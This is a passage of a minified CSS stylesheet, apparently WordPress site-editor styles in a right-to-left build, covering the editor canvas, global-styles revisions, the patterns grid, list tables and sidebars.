var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{padding:24px}.edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{border-radius:2px;max-height:100%}.edit-site-visual-editor.is-focus-mode .components-resizable-box__container{overflow:visible}.edit-site-visual-editor .components-resizable-box__container{margin:0 auto;overflow:auto}.edit-site-visual-editor.is-view-mode{box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c}.resizable-editor__drag-handle{-webkit-appearance:none;appearance:none;background:none;border:0;border-radius:2px;bottom:0;cursor:ew-resize;margin:auto 0;outline:none;padding:0;position:absolute;top:0;width:12px}.resizable-editor__drag-handle.is-variation-default{height:100px}.resizable-editor__drag-handle.is-variation-separator{height:100%;left:0;width:24px}.resizable-editor__drag-handle.is-variation-separator:after{background:#0000;border-radius:0;left:0;right:50%;transform:translateX(1px);transition:all .2s ease;transition-delay:.1s;width:2px}@media (prefers-reduced-motion:reduce){.resizable-editor__drag-handle.is-variation-separator:after{animation-delay:0s;animation-duration:1ms;transition-delay:0s;transition-duration:0s}}.resizable-editor__drag-handle:after{background:#949494;border-radius:2px;bottom:24px;content:"";left:0;position:absolute;right:4px;top:24px;width:4px}.resizable-editor__drag-handle.is-left{right:-16px}.resizable-editor__drag-handle.is-right{left:-16px}.resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{opacity:1}.resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{background:#ccc}.resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{background:var(--wp-admin-theme-color)}.resizable-editor__drag-handle:focus:after{box-shadow:0 0 0 1px #2f2f2f,0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color)}.resizable-editor__drag-handle.is-variation-separator:focus:after{border-radius:2px;box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.edit-site-canvas-loader{align-items:center;animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards;display:flex;height:100%;justify-content:center;opacity:0;position:absolute;right:0;top:0;width:100%}@media (prefers-reduced-motion:reduce){.edit-site-canvas-loader{animation-delay:0s;animation-duration:1ms}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-code-editor{background-color:#fff;min-height:100%;position:relative;width:100%}.edit-site-code-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:12px;width:100%}@media (min-width:960px){.edit-site-code-editor__body{padding:24px}}.edit-site-code-editor__toolbar{background:#fffc;display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.edit-site-code-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-site-code-editor__toolbar{padding:12px 24px}}.edit-site-code-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:36px;margin:0 0 0 auto}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;transition:border .1s ease-out,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{font-size:15px!important;padding:24px}}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{color:#1e1e1e9e}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{color:#1e1e1e9e;opacity:1}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{color:#1e1e1e9e}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__iframe{display:block;max-width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-typography-panel__full-width-control{grid-column:1/-1;max-width:100%}.edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{margin:16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:2px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-typography__font-variants-count{color:#757575}.edit-site-global-styles-font-families__add-fonts{justify-content:center}.edit-site-global-styles-screen-colors{margin:16px}.edit-site-global-styles-screen-colors .color-block-support-panel{border-top:none;padding-left:0;padding-right:0}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-variations_item{border-radius:2px;box-sizing:border-box}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;box-shadow:0 0 0 1px #e0e0e0;outline:1px solid #0000;padding:2px}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e;outline-width:3px}.edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus-visible{outline:3px solid #0000;outline-offset:0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:2px;overflow:auto;position:relative;width:100%}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}.edit-site-global-styles-screen-revisions__revisions-list{flex-grow:1;list-style:none;margin:0 16px 16px}.edit-site-global-styles-screen-revisions__revisions-list li{margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{cursor:pointer;display:flex;flex-direction:column;position:relative}.edit-site-global-styles-screen-revisions__revision-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{content:"\a";display:block;position:absolute}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border:4px solid #0000;border-radius:50%;height:8px;right:17px;top:18px;transform:translate(50%,-50%);width:8px;z-index:1}.edit-site-global-styles-screen-revisions__revision-item.is-selected{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:2px;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));outline:3px solid #0000;outline-offset:-2px}.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__revision-button{opacity:1}.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item.is-selected:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba))}.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__meta{color:#1e1e1e}.edit-site-global-styles-screen-revisions__revision-item:after{border:.5px solid #ddd;height:100%;right:16px;top:0;width:0}.edit-site-global-styles-screen-revisions__revision-item:first-child:after{top:18px}.edit-site-global-styles-screen-revisions__revision-item:last-child:after{height:18px}.edit-site-global-styles-screen-revisions__revision-item .edit-site-global-styles-screen-revisions__revision-button{display:block;height:auto;outline-offset:-2px;padding:12px 40px 4px 12px;position:relative;width:100%;z-index:1}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{align-self:flex-start;margin:4px 40px 12px 12px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{color:#757575;font-size:12px}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{font-size:12px;font-weight:600;text-transform:uppercase}.edit-site-global-styles-screen-revisions__meta{align-items:flex-start;display:flex;justify-content:start;margin-bottom:4px;text-align:right;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;margin-left:8px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-global-styles-screen-revisions__changes{line-height:1.4;list-style:disc;margin-right:12px;text-align:right}.edit-site-global-styles-screen-revisions__changes li{margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{gap:2px;justify-content:space-between}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{height:1px;margin:-1px;overflow:hidden;position:absolute;right:-1000px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{font-size:12px;will-change:opacity}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{color:#1e1e1e;font-size:28px;font-weight:200;line-height:1.2;margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled{color:#949494}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:hover{background:#0000}.edit-site-global-styles-screen-revisions__footer{background:#fff;border-top:1px solid #ddd;bottom:0;height:56px;min-width:100%;padding:12px;position:sticky;z-index:1}.edit-site-header-edit-mode{align-items:center;background-color:#fff;border-bottom:1px solid #e0e0e0;box-sizing:border-box;color:#1e1e1e;display:flex;height:60px;justify-content:space-between;padding-right:60px;width:100%}.edit-site-header-edit-mode .edit-site-header-edit-mode__start{align-items:center;border:none;display:flex;flex-shrink:2;height:100%;overflow:hidden}@media (min-width:782px){.edit-site-header-edit-mode .edit-site-header-edit-mode__start{padding-left:2px}}.edit-site-header-edit-mode .edit-site-header-edit-mode__end{display:flex;justify-content:flex-end}.edit-site-header-edit-mode .edit-site-header-edit-mode__center{align-items:center;display:flex;flex-grow:1;height:100%;justify-content:center;margin:0 16px;min-width:0}.edit-site-header-edit-mode__toolbar{align-items:center;display:flex;gap:8px;padding-right:16px}@media (min-width:782px){.edit-site-header-edit-mode__toolbar{padding-right:20px}}@media (min-width:1280px){.edit-site-header-edit-mode__toolbar{padding-left:8px}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.edit-site-header-edit-mode__actions{align-items:center;display:inline-flex;flex-wrap:nowrap;gap:8px;padding-left:4px}@media (min-width:600px){.edit-site-header-edit-mode__actions{padding-left:8px}}.edit-site-header-edit-mode__preview-options{opacity:1;transition:opacity .3s}.edit-site-header-edit-mode__preview-options.is-zoomed-out{opacity:0}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{width:auto}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{display:none}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{content:attr(aria-label)}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{background-color:initial}.edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{background-color:initial;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{padding-left:6px;padding-right:6px}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{content:none}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{height:36px;padding:0 8px}.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover{border-right:none}.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover:before{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container:before{background:#ddd;right:calc(50% + 1px);width:calc(100% - 24px)}.has-fixed-toolbar .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.has-fixed-toolbar .selected-block-tools-wrapper:after{background-color:#ddd;content:"";height:24px;margin-right:8px;width:1px}.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group{border-left:none}.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.has-fixed-toolbar .edit-site-header-edit-mode__center.is-collapsed,.has-fixed-toolbar .selected-block-tools-wrapper.is-collapsed{display:none}.edit-site-header-edit-mode__block-tools-toggle{margin-right:2px}.edit-site-list-header{align-items:center;box-sizing:border-box;display:flex;height:60px;justify-content:flex-end;padding-left:16px;position:relative;width:100%}body.is-fullscreen-mode .edit-site-list-header{padding-right:60px;transition:padding-right 20ms linear;transition-delay:80ms}@media (prefers-reduced-motion:reduce){body.is-fullscreen-mode .edit-site-list-header{transition-delay:0s;transition-duration:0s}}.edit-site-list-header .edit-site-list-header__title{font-size:20px;margin:0;padding:0;position:absolute;right:0;text-align:center;width:100%}.edit-site-list-header__right{position:relative}.edit-site .edit-site-list{background:#fff;border-radius:8px;box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c;flex-grow:1}.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:100%}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:0}}.edit-site .edit-site-list .interface-interface-skeleton__content{align-items:center;background:#fff;padding:16px}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__content{padding:72px}}.edit-site-list-table{border:1px solid #ddd;border-radius:2px;border-spacing:0;margin:0 auto;max-width:960px;min-width:100%;overflow:hidden}.edit-site-list-table tr{align-items:center;border-top:1px solid #f0f0f0;box-sizing:border-box;display:flex;margin:0;padding:16px}.edit-site-list-table tr:first-child{border-top:0}@media (min-width:782px){.edit-site-list-table tr{padding:24px 32px}}.edit-site-list-table tr .edit-site-list-table-column:first-child{padding-left:24px;width:calc(60% - 18px)}.edit-site-list-table tr .edit-site-list-table-column:first-child a{display:inline-block;font-weight:500;margin-bottom:4px;text-decoration:none}.edit-site-list-table tr .edit-site-list-table-column:nth-child(2){width:calc(40% - 18px);word-break:break-word}.edit-site-list-table tr .edit-site-list-table-column:nth-child(3){flex-shrink:0;min-width:36px}.edit-site-list-table tr.edit-site-list-table-head{border-bottom:1px solid #ddd;border-top:none;color:#1e1e1e;font-size:16px;font-weight:600;text-align:right}.edit-site-list-table tr.edit-site-list-table-head th{font-weight:inherit}@media (min-width:782px){.edit-site-list.is-navigation-open .components-snackbar-list{margin-right:360px}}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-template__actions button:not(:last-child){margin-left:8px}.edit-site-list-added-by__icon{display:flex;flex-shrink:0;height:24px;width:24px}.edit-site-list-added-by__icon svg{fill:currentColor}.edit-site-list-added-by__avatar{align-items:center;display:flex;flex-shrink:0;height:24px;justify-content:center;overflow:hidden;width:24px}.edit-site-list-added-by__avatar img{border-radius:100%;height:20px;object-fit:cover;opacity:0;transition:opacity .1s linear;width:20px}@media (prefers-reduced-motion:reduce){.edit-site-list-added-by__avatar img{transition-delay:0s;transition-duration:0s}}.edit-site-list-added-by__avatar.is-loaded img{opacity:1}.edit-site-list-added-by__customized-info{color:#757575;display:block}.edit-site-page{background:#fff;color:#2f2f2f;height:100%}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;min-height:72px;padding:16px 32px;position:sticky;top:0;z-index:2}.edit-site-page-header .components-text{color:#2f2f2f}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__sub-title{color:#757575;margin-top:8px}.edit-site-page-content{display:flex;flex-flow:column;height:100%;position:relative;z-index:1}.page-pages-preview-field__button{background-color:unset;border:none;border-radius:3px 3px 0 0;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.page-pages-preview-field__button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.page-pages-preview-field__button.edit-site-page-pages__media-wrapper{background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.page-pages-preview-field__button.edit-site-page-pages__media-wrapper .edit-site-page-pages__featured-image{height:100%;object-fit:cover;width:100%}.page-pages-preview-field__button.edit-site-page-pages__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.edit-site-patterns{background:#1e1e1e;border-radius:0;border-right:1px solid #2f2f2f;margin:60px 0 0;min-height:100%;overflow-x:auto;padding:0}.edit-site-patterns .components-base-control{width:100%}@media (min-width:782px){.edit-site-patterns .components-base-control{width:auto}}.edit-site-patterns .components-text{color:#949494}.edit-site-patterns .components-heading{color:#e0e0e0}@media (min-width:782px){.edit-site-patterns{margin:0}}.edit-site-patterns .edit-site-patterns__search-block{flex-grow:1;min-width:-moz-fit-content;min-width:fit-content}.edit-site-patterns .edit-site-patterns__search{--wp-components-color-foreground:#e0e0e0}.edit-site-patterns .edit-site-patterns__search .components-input-control__container{background:#2f2f2f}.edit-site-patterns .edit-site-patterns__search svg{fill:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter{background:#2f2f2f;border:none;height:40px;max-width:100%;min-width:max-content;width:100%}@media (min-width:782px){.edit-site-patterns .edit-site-patterns__sync-status-filter{width:300px}}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){color:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{background:#757575;color:#f0f0f0}.edit-site-patterns__header{background:#1e1e1e;padding:32px 32px 16px;position:sticky;top:0;z-index:2}.edit-site-patterns__header .edit-site-patterns__button{color:#949494}.edit-site-patterns__section{flex:1;padding:24px 32px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-patterns__grid{display:grid;gap:32px;grid-template-columns:1fr;margin-bottom:0;margin-top:0}@media (min-width:960px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr}}@media (min-width:1440px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr}}@media (min-width:1920px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr 1fr}}.edit-site-patterns__grid .edit-site-patterns__pattern{break-inside:avoid-column;display:flex;flex-direction:column}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;overflow:hidden;padding:0}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{box-shadow:inset 0 0 0 0 #fff,0 0 0 2px var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{cursor:default}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f;opacity:.8}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{color:#949494}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{flex-shrink:0}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{align-items:center;border:1px dashed #2f2f2f;color:#949494;display:flex;justify-content:center;min-height:64px}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-patterns__grid .edit-site-patterns__preview{flex:0 1 auto;margin-bottom:12px}.edit-site-patterns__load-more{align-self:center}.edit-site-patterns__pattern-title{color:#e0e0e0}.edit-site-patterns__pattern-title .is-link{color:#e0e0e0;text-decoration:none}.edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{color:#fff}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{background:var(--wp-block-synced-color);border-radius:4px;fill:#fff}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{fill:currentcolor}.edit-site-patterns__no-results{color:#949494}.edit-site-patterns__delete-modal{width:384px}.edit-site-patterns__pagination{background:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;color:#f0f0f0;padding:24px 32px;position:sticky;z-index:2}.edit-site-patterns__pagination .components-button.is-tertiary{background-color:#2f2f2f;color:#f0f0f0}.edit-site-patterns__pagination .components-button.is-tertiary:disabled{background:none;color:#949494}.edit-site-patterns__pagination .components-button.is-tertiary:hover:not(:disabled){background-color:#757575}.edit-site-page-patterns-dataviews{margin-top:60px}@media (min-width:782px){.edit-site-page-patterns-dataviews{margin-top:0}}.edit-site-page-patterns-dataviews .page-patterns-preview-field{border-radius:3px 3px 0 0;display:flex;flex-direction:column;height:100%}.edit-site-page-patterns-dataviews .page-patterns-preview-field.is-viewtype-grid .block-editor-block-preview__container{border-radius:3px 3px 0 0;height:100%}.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button{background-color:unset;border:none;border-radius:3px 3px 0 0;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0}.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-icon{fill:var(--wp-block-synced-color);flex-shrink:0}.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-lock-icon{min-width:min-content}.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{border-bottom:1px solid #f0f0f0;min-height:72px;padding:16px 32px;position:sticky;top:0;z-index:2}.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-title{color:inherit;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.edit-site-page-patterns-dataviews .dataviews-pagination{z-index:2}.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{width:350px}.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{position:relative}.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;max-height:96px;min-width:auto;position:absolute;right:-1px;width:calc(100% + 2px);z-index:1}@media (min-width:600px){.dataviews-action-modal__duplicate-template-part .components-modal__frame{max-width:500px}}.page-templates-preview-field{border-radius:3px 3px 0 0;display:flex;flex-direction:column;height:100%}.page-templates-preview-field .page-templates-preview-field__button{background-color:unset;border:none;border-radius:3px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0}.page-templates-preview-field .page-templates-preview-field__button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.page-templates-preview-field.is-viewtype-list .block-editor-block-preview__container{height:120px}.page-templates-preview-field.is-viewtype-grid .block-editor-block-preview__container{height:auto}.page-templates-preview-field.is-viewtype-grid .page-templates-preview-field__button{border-radius:3px 3px 0 0}.page-templates-preview-field.is-viewtype-table{border-radius:2px;position:relative}.page-templates-preview-field.is-viewtype-table:after{border-radius:2px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.page-templates-description{white-space:normal}.edit-site-page-template-template-parts-dataviews .dataviews-pagination{z-index:2}.edit-site-table-wrapper{padding:32px;width:100%}.edit-site-table{border-collapse:collapse;border-color:inherit;position:relative;text-indent:0;width:100%}.edit-site-table a{text-decoration:none}.edit-site-table th{color:#757575;font-weight:400;padding:0 16px 16px;text-align:right}.edit-site-table td{padding:16px}.edit-site-table td,.edit-site-table th{vertical-align:center}.edit-site-table td:first-child,.edit-site-table th:first-child{padding-right:0}.edit-site-table td:last-child,.edit-site-table th:last-child{padding-left:0;text-align:left}.edit-site-table tr{border-bottom:1px solid #f0f0f0}.edit-site-sidebar-edit-mode{width:280px}.edit-site-sidebar-edit-mode>.components-panel{border-left:0;border-right:0;margin-bottom:-1px;margin-top:-1px}.edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{background:#f0f0f0}.edit-site-sidebar-edit-mode .block-editor-block-inspector__card{margin:0}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{display:flex;flex:1;flex-direction:column}.edit-site-global-styles-sidebar__navigator-screen{flex:1}.edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{margin-right:0}.edit-site-global-styles-sidebar__reset-button.components-button{margin-right:auto}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-sidebar__panel{margin-top:-1px}.edit-site-page-panels__swap-template__confirm-modal__actions{margin-top:24px}.edit-site-change-status__content .components-popover__content{min-width:320px;padding:16px}.edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{gap:8px}.edit-site-change-status__content .edit-site-change-status__options label .components-text{display:block}.edit-site-change-status__content 